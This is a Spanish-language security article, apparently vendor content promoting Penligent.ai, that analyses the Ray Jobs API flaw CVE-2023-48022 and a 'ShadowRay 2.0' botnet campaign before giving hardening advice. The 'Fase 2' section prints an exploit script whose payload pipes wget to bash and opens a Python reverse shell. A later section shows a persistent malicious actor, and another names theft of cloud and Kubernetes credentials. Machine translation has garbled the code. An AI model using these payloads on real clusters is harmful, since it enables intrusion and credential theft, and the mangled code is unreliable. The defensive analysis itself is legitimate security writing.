Estamos en 2026. La industria de la IA ha madurado desde chatbots experimentales hasta agentes autónomos que gobiernan infraestructuras críticas. Sin embargo, un fantasma del pasado recorre las granjas de servidores y los clústeres Kubernetes de las empresas de IA más avanzadas del mundo: CVE-2023-48022.

Divulgada originalmente a finales de 2023, esta vulnerabilidad crítica (CVSS 9.8) en la Marco de Rayos-el estándar de computación distribuida utilizado por OpenAI, Uber y Amazon- se suponía que era un problema resuelto. Sin embargo, la explosión a finales de 2025 de la ShadowRay 2.0 demostró lo contrario. Decenas de miles de clústeres de GPU fueron reclutados silenciosamente en redes zombis, no solo para el minado de criptomonedas, sino para sofisticadas operaciones de exfiltración de datos y ataques distribuidos de denegación de servicio (DDoS).

Para el ingeniero de seguridad de élite de la IA, CVE-2023-48022 no es sólo un fallo, sino un caso de estudio en "Inseguro por diseño". Representa una colisión entre la cultura de investigación abierta del desarrollo de la IA y la realidad adversa de la Internet moderna. Este artículo ofrece un análisis forense de la vulnerabilidad, analiza la evolución de ShadowRay 2.0 y explica por qué el escaneado heredado no protege el sustrato informático de la IA.

La arquitectura de una "función como vulnerabilidad"

Para entender por qué CVE-2023-48022 se niega a morir, hay que comprender la filosofía de Ray. Ray se construyó para ser rápido y fácil de usar en intranets de confianza.

El defecto:

En versiones anteriores a un endurecimiento significativo (y en implementaciones modernas mal configuradas), el panel de control de Ray y la API de trabajos se enlazan a 0.0.0.0:8265 por defecto sin ningún mecanismo de autenticación.

Anyscale, los creadores de Ray, cuestionaron inicialmente la asignación del CVE, argumentando que Ray estaba pensado para funcionar dentro de un perímetro de red estricto. Esta confianza en el modelo de defensa "hard outer shell" se vino abajo cuando los desarrolladores empezaron a exponer los paneles de Ray a Internet para su monitorización remota, o cuando los atacantes utilizaron la Falsificación de Peticiones del Lado del Servidor (SSRF) para pivotar internamente.

Deconstrucción de la superficie de ataque

La vulnerabilidad otorga a un atacante control total sobre el cluster Ray a través de una simple API HTTP. No hay corrupción de memoria, no hay condición de carrera, y no hay feng shui heap complejo necesario.

Los Primitivos de Ataque:

1. El punto de entrada: La API Jobs (/api/jobs/).
2. El mecanismo: La API permite enviar código Python o comandos shell arbitrarios para que se ejecuten en los nodos trabajadores del clúster.
3. El privilegio: Los procesos Ray suelen ejecutarse como raíz dentro de contenedores Docker, o con roles IAM con privilegios elevados para acceder a buckets S3 que contengan conjuntos de datos.

Repetición técnica: La cadena de muerte de ShadowRay

Reconstruyamos la lógica del exploit utilizada por los actores de ShadowRay 2.0. Esto va más allá de la simple rizo para mostrar cómo orquestan el control persistente.

Fase 1: Reconocimiento y toma de huellas dactilares

Los atacantes buscan específicamente el puerto TCP 8265. Identifican el servicio consultando /api/versión o buscando el título HTML distintivo de Ray Dashboard.

Fase 2: Armatización (Presentación de trabajos Python)

El atacante construye un script Python que actúa como "Job Submitter". Este script interactúa con la API del objetivo para generar una tarea maliciosa.

Python

`import requests import json import sys

Objetivo: Un racimo de rayos expuesto encontrado a través de Shodan o SSRF.

TARGET_IP = "http://target-cluster.ai:8265“

def exploit_cluster(target): url = f"{target}/api/jobs/"

# La carga útil: Un script bash multietapa
# 1. Persistencia: Crear un cron job oculto o un servicio systemd
# 2. Evasión: Matar a los mineros de la competencia
# 3. Conexión: Reverse Shell a C2
punto_entrada_cmd = (
    "wget -qO-  | bash && "
    "export OMP_NUM_THREADS=1 && "
    "python3 -c 'import socket,os,pty;s=socket.socket();...'"
)

payload = {
    "punto_entrada": punto_entrada_cmd,
    "submission_id": "optimization_task_v4", # Ingeniería social: Parecer un trabajo legítimo
    "runtime_env": {
        "working_dir": "/tmp",
        "pip": ["requests", "boto3"] # Herramientas de preinstalación para la exfiltración
    },
    "metadata": {
        "usuario": "root",
        "descripción": "Comprobación del estado del sistema"
    }
}

try:
    print(f"[*] Enviando payload a {target}...")
    resp = requests.post(url, json=carga, timeout=10)
    
    if resp.status_code == 200:
        job_id = resp.json().get('job_id')
        print(f"[+] Explotación exitosa. ID del trabajo: {job_id}")
        print(f"[+] El clúster está ahora bajo su control.")
    si no:
        print(f"[-] Falló: {resp.status_code} - {resp.text}")
        
excepto Exception como e:
    print(f"[!] Error: {e}")

si nombre == “principal": exploit_cluster(TARGET_IP)`

Fase 3: Movimiento lateral mediante usurpación de identidad

Una vez que el código se ejecuta en el nodo trabajador, el script aprovecha la función Servicio de metadatos de instancia (IMDS) para robar credenciales de la nube.

• AWS: Consulta http://169.254.169.254/latest/meta-data/iam/security-credentials/ para robar las claves del rol EC2.
• Kubernetes: Leer /var/run/secrets/kubernetes.io/serviceaccount/token.

Dado que los trabajos de formación en IA requieren acceso a conjuntos de datos masivos, estas credenciales suelen tener S3AccesoCompleto o permisos equivalentes, permitiendo al atacante exfiltrar modelos propietarios (valorados en millones) o envenenar datos de entrenamiento.

ShadowRay 2.0: Evolución de la persistencia

La variante "2.0" observada a finales de 2025 introdujo un nuevo mecanismo de persistencia: Actores independientes.

En Ray, un "Actor" es un proceso trabajador con estado. Los atacantes despliegan Actores maliciosos que están diseñados para separarse del ciclo de vida del trabajo. Aunque el equipo de seguridad elimine el "trabajo" específico que se ve en el panel de control, el proceso Actor sigue vivo en segundo plano, consumiendo recursos y manteniendo el enlace C2.

Python

`# Actor Malicioso Conceptual @ray.remote class ShadowActor: def init(self): self.c2_connection = setup_c2()

def keep_alive(self):
    while True:
        # Lógica de minería o exfiltración
        procesar_datos()
        time.sleep(1)

Despliegue como actor independiente: sobrevive al cese laboral

actor = ShadowActor.options(name="system_optimizer", lifetime="detached").remote()`

El problema de la "IA en la sombra" y los fallos de detección

¿Por qué organizaciones con cortafuegos caros siguen siendo atacadas por CVE-2023-48022? La respuesta está en IA en la sombra.

Los científicos de datos y los ingenieros de ML a menudo eluden los controles de TI para crear clústeres temporales para experimentos. Utilizan scripts Terraform o gráficos Helm copiados de GitHub, que exponen por defecto el Dashboard para facilitar la depuración. Estos "Shadow Clusters" son invisibles para el inventario central de TI y los escáneres de vulnerabilidades tradicionales (que escanean 192.168.1.0/24 pero echan de menos las VPC efímeras creadas por los ingenieros).

Además, los escáneres tradicionales comprueban versiones de software. Si un ingeniero pone en marcha un clúster Ray utilizando una imagen Docker antigua y estable (por ejemplo, rayproject/ray:2.8.0) para reproducir un documento, es vulnerable al instante.

Defensa basada en la IA: El enfoque penligente

Defenderse contra ShadowRay requiere más que un escaneo estático; requiere descubrimiento dinámico de activos y análisis del comportamiento.

Aquí es donde Penligent.ai cambia la postura defensiva de la infraestructura de IA.

1. Mapa del patrimonio en la sombra

Los agentes de Penligent se integran con API de nube (AWS, Azure, GCP) y clústeres Kubernetes para realizar un descubrimiento continuo de activos. Identifica instancias de computación que muestran un comportamiento "Ray-like" (puertos abiertos 8265, 10001, 6379) aunque no estén etiquetadas como activos de producción. Esto ilumina la superficie de "Shadow AI".

2. Verificación activa y segura

En lugar de basarse en la captura de banners (que pueden falsificarse), Penligent realiza Verificación activa segura. Intenta interactuar con la API de Jobs utilizando una carga útil benigna, como el envío de un trabajo que simplemente calcula 1 + 1 o se hace eco de una cadena aleatoria.

• Si tiene éxito: Confirma el riesgo RCE con cero falsos positivos y alerta al SOC inmediatamente.
• Seguridad: A diferencia de un gusano, la sonda de Penligent no modifica el estado del sistema, no instala persistencia ni exfiltra datos.

3. Detección de anomalías en firmas informáticas

Penligent establece una línea de base para cargas de trabajo de entrenamiento legítimas. Las infecciones de ShadowRay tienen una huella digital distintiva:

• Red: Conexiones salientes inesperadas a pools de minería o IPs desconocidas (C2).
• Computa: Picos de utilización de la CPU/GPU que no se correlacionan con los trabajos de formación programados.
• Proceso: Desove de conchas inusuales (/bin/bash, rizo, wget) del árbol de procesos del trabajador Ray.

Estrategia de defensa para 2026: endurecimiento del sustrato informático

Para inmunizar su infraestructura contra CVE-2023-48022 y sus sucesores, aplique estos controles fundamentales:

1. Red de confianza cero: No exponga nunca el panel de control de rayos a Internet. El acceso debe realizarse a través de un host Bastion seguro, una VPN o un proxy consciente de la identidad (IAP) como Cloudflare Access o AWS Verified Access.
2. Aplicar autenticación (TLS mutuo): Aunque Ray ahora soporta autenticación básica, el estándar de oro es mTLS. Configure Ray para que requiera certificados de cliente para todas las comunicaciones intra-clúster y cliente-servidor.
3. Aislamiento del espacio de nombres: Ejecutar clústeres Ray en espacios de nombres Kubernetes dedicados con estricta Políticas de red. Denegar todo el tráfico de salida excepto a los buckets S3 de la lista blanca y a los registros de modelos (Hugging Face). Bloquear el acceso al IMDS (169.254.169.254).
4. Infraestructura inmutable: Utilice sistemas de archivos raíz de sólo lectura para los contenedores de trabajadores Ray para evitar que los atacantes descarguen herramientas o establezcan persistencia en el disco.

Conclusión

CVE-2023-48022 no es solo una vulnerabilidad; es un síntoma de la prisa de la industria por adoptar la IA a expensas de la arquitectura de seguridad. A medida que dependemos más de la computación distribuida, el "límite de la red" ya no es una defensa suficiente.

La campaña ShadowRay 2.0 demuestra que los atacantes buscan activamente estas puertas abiertas. Los ingenieros de seguridad deben adoptar la mentalidad de "asumir la brecha", aprovechando herramientas basadas en IA como Penligent para descubrir, probar y reforzar continuamente sus activos informáticos antes de que se conviertan en el siguiente nodo de una red de bots zombi.

Referencias fiables

• Oligo Security: ShadowRay - La primera campaña de ataque a la carga de trabajo de IA
• Aviso de seguridad de Anyscale: CVE-2023-48022
• Detalle del NVD del NIST: CVE-2023-48022
• Unidad 42: Informe sobre la amenaza de la nube - Infraestructura de IA